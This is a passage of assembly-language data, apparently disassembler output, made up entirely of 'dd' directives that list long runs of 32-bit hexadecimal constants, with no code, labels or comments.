		dd 0FC89134Bh, 273E050h, 0B57FB04h, 0A09038D0h,	2013BB65h
		dd 1803157Ch, 85D56676h, 805D9008h, 0D7C2CCD1h,	0B0FC9D8Bh
		dd 2CED2A03h, 87515302h, 0D399DA00h, 0EF8D2878h, 40C89498h
		dd 93A817E0h, 0EEAED500h, 0EDB9E218h, 5B680216h, 81760636h
		dd 87018CC4h, 0A3DB101Fh, 0FF406966h, 0A63F49h,	741B9C0Ah
		dd 410E6B53h, 12E9706h,	7539EA81h, 0B32107CBh, 0F63EB0E7h
		dd 9400C837h, 0D30AB80Fh, 900DA091h, 999215A4h,	1800A0ABh
		dd 0B649FB2Bh, 0AA0774E6h, 0E4502DFCh, 0C47732B0h, 9BE17120h
		dd 0C6B60164h, 0FAD8341Ah, 0C4BF2440h, 0E0088709h, 5F5848AAh
		dd 34986Bh, 77D6591h, 9D66A751h, 0B821D329h, 48AAB03Bh
		dd 0E39E27A6h, 81F9180h, 6A5AFFBFh, 723FC778h, 0AD89DC3h
		dd 0C43FD5h, 0F3DCD2Ah,	71C114h, 40D0635Fh, 0AADE8F61h
		dd 0AFB83503h, 793862B9h, 90502531h, 97DE9890h,	0EE32E2E4h
		dd 649EB1D4h, 51D600A8h, 0AF1186Fh, 7E16CA05h, 0EA01E42Dh
		dd 34D00FC3h, 847A8433h, 40A4C4A3h, 93F68F4Ah, 78CD589Dh
		dd 45E86C2Eh, 0CA9800CEh, 0E00207C6h, 0F8A4B522h, 0F470EB51h
		dd 12AC9089h, 8865B9B1h, 0CD6CB3A4h, 3A7111Eh, 21C5A84Ch
		dd 0B0A8E741h, 573F5B38h, 0CA6A0093h, 36C32CC2h, 93349695h
		dd 421B007Eh, 265E252h,	64015B03h, 89E003BBh, 8448D5E1h
		dd 0FD2188B2h, 58E57400h, 3FF852E6h, 2627D1Bh, 0D90553C1h
		dd 1C64C709h, 0FC3E9700h, 8B214D2Ch, 0FB401F1Bh, 0B082D418h
		dd 0AA844181h, 370DD44Eh, 0AEC3F700h, 19038CE4h, 344F04ABh
		dd 0C05F2818h, 9E10E76Ch, 0BA89B660h, 1FA7A564h, 40493CDDh
		dd 0EED9FC31h, 29001F8Bh, 5EADAEC5h, 0A8E79A85h, 7CF54C0h
		dd 0A6A968F3h, 6C84AB81h, 34E4827Bh, 0D200CC25h, 0FB82F416h
		dd 9A40002Ah, 4DD201E5h, 5C99C718h, 3EA5A602h, 508D4035h
		dd 11E0AEh, 39B8EBB3h, 0B735AF5h, 2820C209h, 0A4AC010Ch
		dd 0DB10A099h, 0D905310Fh, 0DD823249h, 0AC7C8440h, 0BE6DF3h
		dd 2C6222E5h, 0B3EACF7Eh, 262DE8EFh, 68679A00h,	549DFFBh
		dd 488B984Ch, 178014ACh, 162570ECh, 0A1C6EB25h,	0C3046C60h
		dd 0A01ACCh, 7B832A45h,	0F2F512Bh, 890B4B8h, 0C0E17612h
		dd 7A71D021h, 3F80342Ch
		dd 3AD0F726h, 70B61500h, 0FA5D298Fh, 3E4C944Ah,	0E474585Ch
		dd 70620208h, 4FAAF6EAh, 5AACF098h, 4A461A00h, 6C2F0ADDh
		dd 97250002h, 10DA536Fh, 0A427D452h, 40001ACDh,	0F2BF93D4h
		dd 0D08250B8h, 1794885Bh, 0B71D5Ch, 61533F80h, 21EAD7Fh
		dd 9346D58Bh, 50C02CB7h, 8C258A9Bh, 27582FC7h, 6A90FE83h
		dd 0F4B6953Bh, 23440009h, 4DF22F41h, 0AC449910h, 9BEE039h
		dd 0FC0A1218h, 0C7282D80h, 8302D227h, 0B4B5F2C6h, 0D9D840CDh
		dd 98F9482Fh, 0AAE9C39h, 0AF0E0174h, 80BA829Ah,	0C8AC3279h
		dd 989278E7h, 6449167Ch, 0D758057Eh, 23C20090h,	0EF113E5Dh
		dd 206AECA0h, 0AD2F3609h, 8EE09093h, 0D9500A48h, 0B82C14h
		dd 8098DAB9h, 0D070D692h, 4EA06E00h, 628D96E5h,	0DA1800D1h
		dd 2C0FE278h, 0C8919510h, 0C128BA80h, 5C17A396h, 0C487C09Ah
		dd 67E4F0DBh, 8198F2F4h, 9F0CD5Ch, 414DC96h, 405E37E8h
		dd 0B00BC174h, 0FD6193A3h, 660D7841h, 3FC5D4h, 0E5A0416Bh
		dd 9BEF8173h, 98A7871Fh, 49037A00h, 5FB97B8h, 4361C7D1h
		dd 6AA40072h, 0FF170F8Fh, 0FD7BD003h, 0D1ED4E08h, 0D432C758h
		dd 998AAC09h, 9220CB0Eh, 9C775091h, 78643F58h, 2A78317h
		dd 9D4EE030h, 39E2A0E4h, 0ABE011h, 0D057838Ch, 3AFB0FA0h
		dd 8A0E44B8h, 7AF936h, 33CA82D1h, 0D9EA25DFh, 9F14C10h
		dd 90C37100h, 0BAEC4557h, 40994FF8h, 681CAD84h,	0CF01FDF5h
		dd 5A59A047h, 0E0D794A3h, 0F0E7BF2h, 0FF01567Dh, 0A1EC3644h
		dd 0D473C84Ch, 90203D4Bh, 302759h, 48D6FD8Ch, 2237396Dh
		dd 90BD3D00h, 57FFDE77h, 9A2E282Bh, 72E93F70h, 0BECD3800h
		dd 11CB1FEh, 0E0FF800h,	0E38DEBD5h, 96D0721Eh, 3CA8A0h
		dd 506F08AAh, 0A3E0FB41h, 100F891h, 0C273C02h, 0CD4E0004h
		dd 0E86C2B63h, 68B18115h, 66673F01h, 9AE00854h,	0C58D00AFh
		dd 0B84B4AF3h, 4E500678h, 0F4B8A4A8h, 0C375A800h, 6F725C17h
		dd 0F9D900A3h, 342B37C0h, 97F1312h, 3675741Dh, 63A4F40h
		dd 12BD6F95h, 418E51A0h, 5FEAD970h, 3DC3293h, 4AA542F0h
		dd 0C121BFA7h, 0CC6320B3h, 0C4EA3C07h, 92A930AEh, 5A395602h
		dd 0CD35008Dh, 3D0A29B2h, 8F503434h, 0EF80131h,	32C604B7h
		dd 87BD00E8h, 4279D355h, 43A2A015h, 8521034Fh, 3B058133h
		dd 84D72980h, 2B1A6B16h, 0ED34EC04h, 0ABCC0B53h, 84012F89h
		dd 0C8329679h, 0DA01312Dh, 0D158E97Eh, 0E8229423h, 0CA6CF70Bh
		dd 28096EDEh, 34A41081h, 19C400C6h, 1A53CBC2h, 0F2EC4641h
		dd 0D839090Fh, 2040DEE3h, 212534F1h, 33610A68h,	9CBCA708h
		dd 88A411h, 21F3DF62h, 4D00F48Fh, 0DDD19FF6h, 250B918h
		dd 6D63A9DAh, 605119B3h, 0BE7EF387h, 59853940h,	0FAC300EBh
		dd 0ADD88E48h, 170002C7h, 3A454E6Fh, 16B92249h,	9039D3B7h
		dd 1B159F14h, 7CCE18C0h, 488C21Ch, 0FC62524Ah, 0AACE8BBh
		dd 38C7FBACh, 81943200h, 7ED9CCh, 34655A98h, 1895CAF7h
		dd 12B0DB17h, 4F977C02h, 0F8C499h, 5CA607ECh, 0F926FC32h
		dd 238E4100h, 10EF2EDEh, 0B0111786h, 570C80D9h,	6E22B9EBh
		dd 6F07162Bh, 7E049193h, 3F0EE067h, 2728DE98h, 73709C35h
		dd 0A81A9E70h, 66B0B0D1h, 89A0033Ch, 96B44130h,	28223EA0h
		dd 64EBDB00h, 10C0D823h, 40D4940Bh, 7F7B7A48h, 5400BA75h
		dd 93705B27h, 3F3E2C6h,	0DF5146DBh, 0A8C93C63h,	7FE030FAh
		dd 90F8C426h, 2654542Fh, 7422405Ch, 0EE003773h,	76DF206Dh
		dd 48D375h, 2623F128h, 9641B56h, 10024E27h, 3ED08DCh, 0DBAE77BDh
		dd 58885304h, 0E0011776h, 9602AB85h, 2FE18734h,	0B884D420h
		dd 44264AB3h, 0A21856B4h, 3B3C10h, 7C3D6F59h, 76E96622h
		dd 99281B50h, 30C731ADh, 0BA889EA7h, 0D1E26F00h, 0D0F13B0Fh
		dd 94370724h, 742F659Bh, 0E1808827h, 4440B25Eh,	25DAEF03h
		dd 0CB28A09Eh, 53930BE6h, 47816137h, 0E0EF56A7h, 0F1391436h
		dd 5A8B0045h, 4E31CA6Fh, 0E993308Ah, 638EA459h,	295BB90Eh
		dd 5C40A169h, 0F88A0CBEh, 4090934Ah, 0DE4550B7h, 3DC57A00h
		dd 62D926E8h, 83490107h, 0AAE11D6Eh, 10A1A5D1h,	3137F40h
		dd 20FE25ADh, 0AFA0F5E7h, 35196D95h, 0EFE00ADEh, 0F002DB13h
		dd 0CEAAD69h, 0DC50809Ah, 1CE6A64Bh, 880EE2h, 7271A064h
		dd 0F5020298h, 6017455Bh, 0E4F016h, 0B28A90A9h,	0BD9AA1Bh
		dd 82368C0Ch, 1FE599DCh, 401CD0DFh, 18A07BC2h, 0BE007A83h
		dd 85E18C3Eh, 0E213F091h, 20E84E74h, 35BCE2B8h,	7AFF53Bh
		dd 539D3CFFh, 0BBDF98F0h, 2FF8EA38h, 0BC905FF3h, 2F00AA31h
		dd 73A3442Bh, 98836D24h, 40104A0h, 445969A8h, 0C8C95235h
		dd 2B00DC23h, 4689C355h, 11762FFh, 90D09597h, 3C1E5674h
		dd 0E39C197Ah, 5C448046h, 0C17DCFFAh, 0C6FE9010h, 6408A901h
		dd 4033D343h, 917702Ch,	18F1D500h, 84F8B5Ch, 0C8B9A3F9h
		dd 3F447921h, 4980873Ah, 0A43880DAh, 22001AB2h,	525CB0AEh
		dd 0C0D09874h, 90E69489h, 961E5E0Dh, 59008238h,	984FBE9Bh
		dd 0ACDC2CF3h, 33E1114h, 65AE02EBh, 29AAE953h, 41194C8h
		dd 69D384F7h, 1F7CA2A9h, 0A806633h, 0CEC822E2h,	48833EDFh
		dd 50B85A09h, 41A7AF80h, 6C5F5CC1h, 288F3820h, 4A620024h
		dd 0C03FC4ACh, 0DAF0933Bh, 0CBEE6102h, 0C1073150h, 8514A5E0h
		dd 63F782BCh, 3862EC40h, 0DBEE2517h, 8F5A8A0Eh,	2C0993CEh
		dd 0A334809Fh, 65641092h, 85A8B09Ch, 0B938E425h, 14406F4Ah
		dd 40DDB4F3h, 1DD02EC4h, 1B91C024h, 4212BEBFh, 60A4069Fh
		dd 0E8960178h, 0F98A7BD3h, 832C300Ch, 846C9000h, 29E59FEBh
		dd 0EAD40233h, 0B6E1AAF3h, 63037071h, 0A0013A09h, 2E2D6B62h
		dd 6050E2BDh, 0F24E072Bh, 522E5871h, 0E6116C7Bh, 4E816C5Ch
		dd 0D25DCD28h, 3BFF481h, 0CA40C2B5h, 3D4A7FD7h,	0C8C43CC9h
		dd 85E5127Eh, 992C090Ah, 2F626CC8h, 145D5000h, 0A966A54Ah
		dd 1D05003Eh, 30CB3C61h, 0E601C222h, 0C60BCC13h, 3980B499h
		dd 8D1CF594h, 42E8B6B5h, 441B8625h, 816200E4h, 71AF3452h
		dd 0F94CFEA5h, 9849C044h, 7272C72h, 261C536Fh, 962F607Eh
		dd 0BA1E87C8h, 9780283Fh, 0BB0D7D92h, 0D4FE0799h, 1F833648h
		dd 1B2B4AE0h, 70002A6Ah, 0EEC72201h, 5A5EBBF8h,	0C4304082h
		dd 7B0A3998h, 9E282F00h, 1C512995h, 4F702446h, 0F95E00A4h
		dd 7AAC6C18h, 49808C91h, 48AEDD81h, 27820F83h, 53805840h
		dd 79D85C94h, 2E1FD0B0h, 54000FFCh, 6FB1C631h, 4CEA029Ah
		dd 38D0327Ch, 3A4A88C4h, 20888h, 4567D685h, 3CC3085Ch
		dd 24A09E05h, 108839D0h, 22A4386Fh, 0E43E6A9Fh,	0FC3B4050h
		dd 0FE3AA73Ch, 6BAA17C8h, 0B991BC00h, 4C2B4F99h, 76801081h
		dd 73E97AFh, 0CCAD9F1Dh, 0D454E025h, 4D0358EDh,	0DF344C1Fh
		dd 730E0756h, 0DC7BC0A4h, 623C4366h, 8BA51287h,	368070C9h
		dd 73CBE5E4h, 0EA00622Eh, 0B6AD26A5h, 0B88217Ah, 0A82F5101h
		dd 81058A0Eh, 0D21C00E8h, 0D4D9689h, 0C787EC09h, 78989831h
		dd 0A964008Eh, 618C4A2Eh, 2517CCB3h, 0CC30F206h, 2ADA42h
		dd 62667849h, 4A8487C2h, 8C172900h, 0D0127206h,	4354B634h
		dd 7087ACBCh, 7036D8AFh, 0C5688304h, 14C039ADh,	0A9DEB7h
		dd 4D926EFBh, 4E14949Ah, 41E19330h, 793F2Bh, 0D2FE90Ah
		dd 0D0DAFB6Bh, 0E538DE0Ch, 267758B2h, 1604A759h, 0A4600D97h
		dd 660C8B70h, 57CC893h,	7A0E053Ch, 0C04416AEh, 0DDED9B75h
		dd 2AD38202h
		dd 0F8D79D4Ch, 0B5A401F4h, 9926FFBh, 0B6D460FCh, 0FC24024Bh
		dd 826EF8C0h, 0C43F0095h, 30E62F13h, 6603A37h, 51D36B40h
		dd 90824EBEh, 1963A32Ch, 4788CF1Ch, 5100C8DCh, 0B5049B78h
		dd 283A0CDBh, 75A9E581h, 1B247402h, 70662914h, 939A28D9h
		dd 0EE2A0010h, 0AE6181B4h, 6404CFA7h, 37040BD8h, 0B400DCF2h
		dd 8FBC49FEh, 9F1FB941h, 0D844FB07h, 68889ACBh,	0AFD2008Ah
		dd 2B54E05Ch, 0E2095364h, 1350AA7h, 8247E740h, 89073872h
		dd 3F8A4DFh, 0CEA075E3h, 6000D734h, 0AE9367B5h,	0BC707FD6h
		dd 7B9A0444h, 80B4A89Eh, 0BCF3EB5Ah, 93D90797h,	81847560h
		dd 20CD4F8Eh, 0F112EED8h, 0D4F43AD3h, 98DA0F4Ah, 26405BBAh
		dd 0B41F3794h, 0F2128F7Ch, 0B002C34Dh, 792056A2h, 9A460068h
		dd 927DB7Fh, 44EEE02Ch,	9C28AEC1h, 0D9C6E1FDh, 12961EF8h
		dd 9ECCA4A9h, 0D980A09Ch, 31F467AEh, 1B5C00CBh,	15910911h
		dd 8407F540h, 6F5DF26Ch, 43AE34C2h, 0FC41001Dh,	9536AA6h
		dd 0C600687Dh, 3A310CA8h, 1F2915BAh, 0D784FF8Fh, 5274C834h
		dd 5DD5F400h, 0B0953218h, 17CD2FC3h, 79137410h,	63ADE300h
		dd 232A50DCh, 8F520066h, 3DB84107h, 9F0E9E36h, 49A5342Eh
		dd 9C44513Bh, 86857A62h, 81EDFD53h, 68094BB4h, 674880C0h
		dd 0F54317h, 3B2D54DEh,	340F55F8h, 0D48D602Eh, 38C8AF13h
		dd 0D92700BFh, 50F059E3h, 0CA1C7F3Fh, 560E511Ah, 0F9AE80D0h
		dd 94D84CCCh, 72C94004h, 4B006A5Dh, 0D376BD34h,	0E1C25A45h
		dd 187C202Eh, 3CFE633Bh, 0F85EA902h, 0C0017764h, 596FDC4h
		dd 2321C11Bh, 519C1D5Ah, 914C019Eh, 0AF641A41h,	0E52F80BFh
		dd 10A57011h, 16FA8509h, 0C802C5E7h, 0AD7A161Ch, 6FE44D01h
		dd 29079E8Eh, 80614474h, 2104A775h, 1DD3C065h, 0D89CA4h
		dd 727A5F1Bh, 0E839B3DAh, 0E4CFE62Ch, 4B345403h, 8DC69C66h
		dd 0F11B02A1h, 5637D2A8h, 4B40CC56h, 27EB180h, 555FEDBAh
		dd 28662DA4h, 3D783300h, 0DB83E8D9h, 44F3B11h, 7F44B2Ch
		dd 84A79h, 0F41398Bh, 99E38130h, 27CF68h, 7BDA3B7Ah, 2DF6FBA8h
		dd 0B3345604h, 10A2038Dh, 0A605DA00h, 2AEA5F39h, 8202C074h
		dd 0D05BB18Fh, 40AC5E35h, 0E2CB2973h, 0BD0E5301h, 1BE4CC01h
		dd 0B724270h, 5C345B46h, 0E0023090h, 9844BF4Bh,	5CF2FB4Eh
		dd 428D7B00h, 0D73D68A4h, 7EACB500h, 1E71E1BCh,	88960F2Ch
		dd 681FA5C0h, 74211420h, 3040F4A7h, 80E490F1h, 24FF2930h
		dd 829A97h, 0AA6035FAh,	10979C65h, 9801F82Ch, 6D2F02C7h
		dd 75F06794h, 0F3A6637Dh, 20888C98h, 86B50737h,	7BFFC0h
		dd 0A91DE8BEh, 909708EEh, 0F8AE24h, 0C04C47E9h,	0F306FDD1h
		dd 50E48A00h, 948CC6DCh, 585C000Eh, 4F64A44Eh, 0D82760ECh
		dd 0FE8064E2h, 164987Ah, 0FC0826B0h, 33024D98h,	5CEE0258h
		dd 58DE1C5Ah, 2C611D08h, 683005Bh, 0ECE38D01h, 6440C74Bh
		dd 0E6700891h, 0ACA30104h, 0C9BA2FF7h, 49B840ABh, 0F400588Ah
		dd 82D977C4h, 0ED4F68h,	0DA7104CAh, 8B1DD678h, 746AE800h
		dd 0E2CCE681h, 909BDBh,	56888CCEh, 260018FDh, 21A31A73h
		dd 21E3E8Fh, 54AA0B3h, 48AF5B8Ch, 48031981h, 64C86099h
		dd 0AE0FB37Ch, 809DE522h, 13EE8110h, 0ABB800DBh, 0A3F234F1h
		dd 3E1444FCh, 78C8D5Ch,	41276391h, 0EAAE5230h, 8D8B0BBh
		dd 0E7947E49h, 0C004988Eh, 47BCD288h, 0C66429ADh, 124880F8h
		dd 0DE0F0570h, 0DB002673h, 28455B86h, 11790FCh,	533BA922h
		dd 832F1865h, 0F8BFC5E8h, 3CA1E020h, 24EF48A3h,	2410882Fh
		dd 2D0BB632h, 80BC85AEh, 69D37424h, 14A590B7h, 9CB4E182h
		dd 1EDE6F80h, 0B9248A5Fh, 0CE41B465h, 187C27D0h, 56D8E898h
		dd 0A6803A63h, 0AE740F9Ch, 0BA2049B3h, 39E8D117h, 0D9286FE8h
		dd 9305C0F1h, 20D01EFEh, 17D48889h, 378B255Ch, 49DAA010h
		dd 86D85F00h, 0E307CBB6h, 1EEBE812h, 0A4E18A65h, 7226419Ch
		dd 0B83DCCF1h, 0FC96F48h, 8057236Dh, 7478574h, 13E275D3h
		dd 0BF0224Ah, 0B400920Dh, 0C6D76772h, 784CDCBAh, 0AB28601Dh
		dd 26FDB96Ah, 109C17B3h, 385004AFh, 2C9CE187h, 20E51DBDh
		dd 9097C502h, 6310C1AAh, 0F2A8214Eh, 0D42D6241h, 2B09B922h
		dd 0D01A8903h, 9D582D7Ch, 3E4CB010h, 0BB53DE00h, 4976419Ah
		dd 74CA1C96h, 1D4A807Ch, 1EECFD38h, 0ED5C3D04h,	7CEC7BBCh
		dd 5E5A8A87h, 71596D67h, 0F81A7703h, 864CD5B5h,	66DA05FCh
		dd 0B007C2CAh, 81804F61h, 0F5D0CFF5h, 463F8063h, 696F1E00h
		dd 96A63959h, 0BFE00161h, 0B860B2D3h, 4F4974B0h, 83504A67h
		dd 6D724084h, 0BF70789Bh, 3A89D13Ah, 17B204B9h,	74FC63A8h
		dd 8F48F0D3h, 0B82F5B3Fh, 0C8B0796Ch, 0CC8A54Bh, 0DF801FE1h
		dd 0AE20C02Ch, 0A5C9FED5h, 0A43F072Eh, 494E1103h, 70C6D04Ch
		dd 0A89007ADh, 7C64B722h, 5C261841h, 0DD11BCA3h, 7C489E27h
		dd 0C90F1149h, 0E11D5A28h, 356DB964h, 0C05939BAh, 0B6DA8F83h
		dd 1E03D3E8h, 30AF221Dh, 0B3EE2D81h, 20706E5Fh,	3C40D0ABh
		dd 4240B87Dh, 468100C7h, 80AC8E40h, 519D0F13h, 0ED04CAD0h
		dd 475CC7B2h, 40E4A990h, 80649238h, 40EAF0Ah, 0F39B91h
		dd 0D0205DCCh, 0F24A169h, 0D8E29A2Ah, 0B9A90E16h, 4D258902h
		dd 1E1B5C81h, 883B5276h, 4000DC4Ch, 5005B2E4h, 0F65E6F74h
		dd 68290B7Ah, 0B09D65h,	904807D4h, 0AC777DD8h, 1CD3709h
		dd 52D0109Ah, 4F2E025Bh, 0BD99ED55h, 89008450h,	67019F3Ch
		dd 2411E7ABh, 4710C8D9h, 5AFEE064h, 42B88723h, 2E3631Eh
		dd 6C1FBCD7h, 9A062447h, 8D838048h, 612C180Bh, 0A300717Fh
		dd 0F4630F2Eh, 18FC1D3h, 50211205h, 2165F9C5h, 9903E46Ch
		dd 0C0404F5Ch, 3A4CC983h, 0DBF60014h, 0E024AC84h, 229AAFDh
		dd 0A24F4C6h, 220E7E00h, 0BB9F938h, 0E0EB4A3Ah,	0A8E08C64h
		dd 359810B5h, 0A0A34C08h, 0C2B68FC0h, 740B1AC1h, 0E6E1E0FCh
		dd 8491DE8h, 174F808Ch,	278EA060h, 4505267Eh, 38C6F1CDh
		dd 58E154F0h, 5DC9A4A9h, 4135E818h, 0B0362400h,	0EABD90E8h
		dd 0B358391Ah, 0DC830125h, 0D825FBACh, 7FFC907Ah, 9BEAC7h
		dd 0AA5765F4h, 0AE8E4ECEh, 0F83DF704h, 0E4A2D7B0h, 5F920F00h
		dd 30EBD291h, 3EEFEA0Fh, 43C8E49Fh, 0C77914D1h,	1079848h
		dd 644D1BA9h, 8B04A414h, 976DD8h, 0E215E1E8h, 66504E0h
		dd 81FDFBA9h, 0F05CB6F0h, 53278708h, 3B42D2EBh,	510937D6h
		dd 0F46466B8h, 23070B01h, 714E4801h, 484D5CE4h,	0DFC0740Ch
		dd 0E9B83927h, 5B7472ECh, 5D7A7F7Bh, 6921F107h,	1891EE8Ch
		dd 202EC6D6h, 9ADEF424h, 9FE4B760h, 0A6CCE4h, 4935E96Fh
		dd 0EDCB51C4h, 5E7244B0h, 0EF76E20Ah, 1E40C0C6h, 0B8A38988h
		dd 0EAD20435h, 0A926D05Eh, 0D4AA8138h, 742D5F34h, 296CB90Ch
		dd 6EC1841h, 9176F01h, 12F9F6B1h, 0C372F8h, 0DFBE2211h
		dd 2F3B3163h, 0E443E4BCh, 7B898087h, 798F39B8h,	0D2DB3480h
		dd 0FE483CC9h, 0AAE9E605h, 0C2FF0AB5h, 1141E4BBh, 0BBE0604Ah
		dd 4426D327h, 88FA5AE0h, 0FB7247D0h, 0A471AA00h, 6FA8036Dh
		dd 93DB8837h, 0C7428507h, 1AB065EFh, 0C4BBEE2h,	8FCD87DAh
		dd 878B90E0h, 9D678A30h, 54C00E6Fh, 9EA9BE09h, 683CE468h
		dd 70DD500h, 422718FEh,	8CEA6Ch, 0D86DA57Eh, 6A776F7Fh
		dd 0BFA5609h, 807101h, 3F58D21Bh, 0CF00AF47h, 6321F4C0h
		dd 0F5FD9Eh, 5395092Dh,	542E4B3h, 23D77C0Bh, 6CE08051h
		dd 48CA0D63h
		dd 7E8754C8h, 7B78C046h, 2FF9C468h, 92DF1400h, 0F1357Ah
		dd 0D6EB293Bh, 70A55C23h, 61261D00h, 0B51594DFh, 90049771h
		dd 60A23Dh, 0AE772F08h,	4E7009BDh, 0F5A44095h, 0DEB0FA86h
		dd 9C0C0200h, 775EB9CEh, 7A3A01A0h, 5081FD8h, 0C2808125h
		dd 3E8E48E1h, 0B5F9830h, 0FF038FB6h, 827D1880h,	3600736Fh
		dd 265874FEh, 2EE6C494h, 0B3C13AFh, 88598EAAh, 0E700A426h
		dd 756C5CB1h, 1E3675AFh, 823739CDh, 0B80D92D1h,	20B00840h
		dd 42E36F00h, 844A8F3Eh, 272AF78Eh, 51D5906Ch, 360B0850h
		dd 80F48BE8h, 8F14563Eh, 45341F7Dh, 0B06E804Ah,	58FD109Dh
		dd 0A0909E4Eh, 0E212745Ah, 4173123Fh, 6B82098h,	7E00DE40h
		dd 0CF7D4A8Ah, 142B4AAh, 51F6D923h, 685EF2C3h, 6B018014h
		dd 955483Fh, 32F8559h, 490098F1h, 0C9FAE8E6h, 0B5F29822h
		dd 4E803C10h, 2D1761F4h, 0ECC8813Ch, 0A478045Bh, 82BC34F9h
		dd 512B65C4h, 0EADE0048h, 0AD8FE099h, 0D0EFF226h, 0BB1AC300h
		dd 379B09h, 2FA5E3D5h, 2CB3800Eh, 612EB9FCh, 2350743Eh
		dd 0A6C83E16h, 81BD6A00h, 0A46425F2h, 0EF672B01h, 37C0D8CAh
		dd 8D74207Bh, 0FF07A371h, 0E5AB0483h, 13BC77E0h, 0A9A6012Ah
		dd 0FEB1F1CBh, 283D96h,	3A59F6BDh, 0EA9C32h, 0DF13E373h
		dd 174E6FDDh, 9E99F00h,	4658FD7h, 20E24F7Fh, 4114C5A4h
		dd 3726100h, 0F339A090h, 2A3E682h, 0CBFDC13Eh, 8C7CBFE2h
		dd 0E8241B44h, 194980ACh, 0E78F5848h, 45DCA6F1h, 9DED000Ah
		dd 0C2128EC7h, 0DB136DA9h, 0ECB282B8h, 0BC3DF13Ah, 0AD9CFD8Fh
		dd 1B2880C0h, 9528A934h, 2C006CBEh, 0FA5F0412h,	94B64E01h
		dd 60B0034Ch, 904F2805h, 32868C30h, 1F9890C3h, 0C0675C7Ch
		dd 0D3E88158h, 0C8B0F269h, 14C06C5Ch, 1C977Eh, 0CA3CB93h
		dd 26F2A4h, 2970AD2Fh, 79C4D1FFh, 0AB1F98F6h, 3442EB87h
		dd 310B124h, 4100FC93h,	7142F072h, 7F814F2h, 52FDB82Dh
		dd 10C9D71Eh, 5B9D7DF6h, 0AF65B405h, 90B83AD3h,	4234DDDCh
		dd 0C6F978B3h, 0A900787Ah, 934C6B05h, 0BE047D4h, 70F101D9h
		dd 18598009h, 8E8CE707h, 23558A00h, 0D01E09BEh,	0A0D98BD6h
		dd 5756691Eh, 40FA5D0Fh, 8C8EE8E7h, 9E71C9h, 0F06BB9Dh
		dd 26CD96FFh, 14688150h, 0E3C8D00h, 0AB775749h,	288B0029h
		dd 82E0FEEFh, 0C83DA4CCh, 0CD7013AAh, 0C400ACA2h, 45F90189h
		dd 710008F2h, 1A584FA8h, 4B28204Bh, 0CDE4D199h,	0C282F0D8h
		dd 613A362Dh, 7AEC75ECh, 0B016F04Fh, 53342539h,	0AF22A820h
		dd 50EF0A7Bh, 0D74B546Ch, 0F7A3B200h, 9DB14645h, 8EB51EAFh
		dd 9F2A8284h, 8856AA48h, 0C6D0C247h, 1D2E635Dh,	491FBA57h
		dd 0FC4667B9h, 129C763Ah, 70321DD0h, 9614233Eh,	0A511F6B8h
		dd 1A531804h, 8C8092F8h, 95216520h, 0F71D2090h,	7364A700h
		dd 0DD9EC058h, 0DB9B3A2Ch, 0DC0B2B01h, 30026C4Bh, 992FB9D2h
		dd 1C649Dh, 0CE461EDh, 35F8927Ch, 82815Fh, 3EA26073h, 0D7C84F62h
		dd 0CFBE078h, 6E00374Ch, 68984846h, 2EBA869Bh, 1234537Fh
		dd 0B298C097h, 3412C611h, 44887460h, 0E343003Fh, 6462983Ah
		dd 0F3A0B803h, 4B7885E0h, 534EF00Bh, 3B247106h,	0AFF43F00h
		dd 0E1715F8Ah, 0A020AC4Eh, 16BBE862h, 0B2E0EBDAh, 9A21092Ch
		dd 1C71ABh, 0D41A1327h,	9D03571Ch, 0CF4F854Eh, 8138A052h
		dd 899A2434h, 0E4780FE0h, 684E25C0h, 5A011DABh,	66FDE0F1h
		dd 407364B9h, 0FCCEBF0Eh, 880D7E9h, 4A82AE84h, 0F4568F13h
		dd 925C7900h, 17ABBC6Fh, 3058F8E3h, 6CFDC96Ch, 51750800h
		dd 0AD29230Ah, 0BC31017Bh, 795F1235h, 830C2CD7h, 0A892D2F6h
		dd 176B7185h, 8826277Bh, 6F007914h, 81F261AEh, 0E6F78529h
		dd 171A3E5Bh, 0C5B24F01h, 3990A811h, 31E1C64h, 67ED837Eh
		dd 0F2B84A9Eh, 0B7D8C0FBh, 115C0964h, 3C1817E7h, 46008D37h
		dd 0D938420Ah, 23BEFAFh, 2183AC88h, 8E06A69h, 84B537CFh
		dd 98ACD5E0h, 0DC6FC780h, 663A21B4h, 0E2E900A9h, 0A1AE3398h
		dd 7ADA0139h, 0D7A773D6h, 34202F8Eh, 0F41726h, 0BA232186h
		dd 0B4F83DDh, 19F1AF07h, 0E220C5FFh, 98FE9BB2h,	0BD961490h
		dd 0AA25D04Fh, 67020CC4h, 0A80F5735h, 97FCFC61h, 0D9F830CEh
		dd 2D005F25h, 0A52FA914h, 0FB2EB5h, 0E3CF4A0Bh,	6C950A88h
		dd 71BA7F05h, 34E3D03Ah, 29360270h, 24988CBh, 12A03841h
		dd 7250785Fh, 21927DBFh, 1C008114h, 8BB4B1B6h, 284E00A9h
		dd 58170E33h, 9F0909E7h, 0D12F3513h, 0B7430E18h, 477603E0h
		dd 0E1166A2Eh, 9D0068DFh, 0F54A17B2h, 6F74066Eh, 0A03D0E05h
		dd 0D0FBEC45h, 90D6F6ABh, 0D4760240h, 0E1A30834h, 0C1901355h
		dd 188B71C9h, 5400398Bh, 2935B572h, 0A751D0DDh,	0A151D004h
		dd 0E30A995h, 0E3D26601h, 84BA8E1Eh, 0A7B0A8h, 316AE97h
		dd 6709E490h, 0FA9AD22h, 1000720Ch, 0D3CB9C64h,	7CB121h
		dd 837F03D1h, 1B090BE9h, 40B79E63h, 2C309C30h, 0C4FCE1BAh
		dd 0C5662127h, 0AD04092Bh, 4409305Ch, 0FCC87298h, 9EA0063h
		dd 0AD46DACCh, 2601C37Ah, 0B6E9D5F3h, 34629A32h, 8870A3Bh
		dd 0F08C0637h, 0D0F5E471h, 272A4B00h, 0D13F9878h, 7246043Bh
		dd 0C31C7EEDh, 0B1878F6Ch, 2D945DB7h, 44DB00F4h, 1CBA63F3h
		dd 0F498003Eh, 72EDDE79h, 35E70ECh, 0D0095C20h,	1AEB00FBh
		dd 7689E913h, 0CB3D070Ah, 0E6FC80E0h, 80973E6Dh, 0C8114E6Fh
		dd 59758A00h, 408E5400h, 0B0640429h, 0C88F4C3Eh, 0CA6A83C0h
		dd 883AA684h, 0EB050076h, 0F8B3125Dh, 203739D0h, 6F6421A4h
		dd 558C88B2h, 2CED2524h, 1C024212h, 44B5E1A9h, 0B1773C18h
		dd 32BBC017h, 0D420EFC0h, 4EB948B8h, 1120406Fh,	0B3370414h
		dd 9C88AC4Fh, 273C07C2h, 0E1DB2565h, 40B4E161h,	90705F30h
